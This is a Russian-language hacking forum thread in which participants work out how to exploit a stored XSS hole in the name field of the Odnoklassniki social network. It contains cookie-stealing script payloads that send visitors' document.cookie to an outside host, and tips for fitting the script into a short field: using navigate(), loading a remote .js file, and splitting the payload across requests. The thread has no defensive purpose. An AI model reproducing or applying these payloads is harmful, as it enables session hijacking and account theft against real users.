Итак наверно всем известно что на одноклассниках есть xss

но вот что делать если не помещается мой скрипт в отведенное мне поле?

 

мы экстрасенсы ? хсс в студию

 

<script>document.location='http://s.netsec.ru/andreya87.gif'+document.cookie</script>

 

это как я понял твой скрипт, попробуй сделать переадресацию с другого сайта, что бы использовалось меньше символов в урл.

 

например? всё равно не уместится...

 

А сколько символов ограничение? Вместо "document.location=", можно navigate('') попробовать. Короче получится.

 

умещается только <script>document.location='http://s.netsec.ru/andr

 

<script>navigate('http://s.netsec.ru/andreya87.gif и усё

 

как то можно обойти это ограничение, только я зобыл как, нужно кеша спросить

 

мммм жаль....

 

Зарегь себе хост где нибуть и создай там *.js
document.location='http://s.netsec.ru/andreya87.gif'+document.cookie';
потом создай index.html с содержанием:
<script src="http://твой сайт/*.js"></script>
должно прокатить

 

А разбить на несколько запросов никак? Типа

Code:

<script>i="2"+document.cookie;/*
ТУТ ВСЯКАЯ ЛАБУДЕНЬ
*/alert(i);</script>

Ну, т.е. первым запросом шлёшь

Code:

<script>i="2"+document.cookie;/*

вторым

Code:

*/alert(i);</script>

 

<script src="http://megahackscript.ru/ploent.js"></script>

 

А можешь плиз у него спросить?

 

а сохранить страничку и ручками исправить ограничение поля на количество символов не прокатит?)) чё за хсс-то там..

 

xss на имени весит...измените имя и поробуйте написать у себя на форуме...

 

способ gramozeki не прокатывает,а способ на разбиение я считаю не уместным....может я не прав...

 

andrey_a87, ну ты попробуй А вообще то, что Basurman написал должно прокатить.

 

я делал фреймом , подсойденял скирипт, но всеравно, даже если оно и вместиться, то потом на форуме имя всеравно обрежут, тоесть для алерта места хватает, а для норм скрипта нет...

 

создай на сайте дж скрипт и скр его.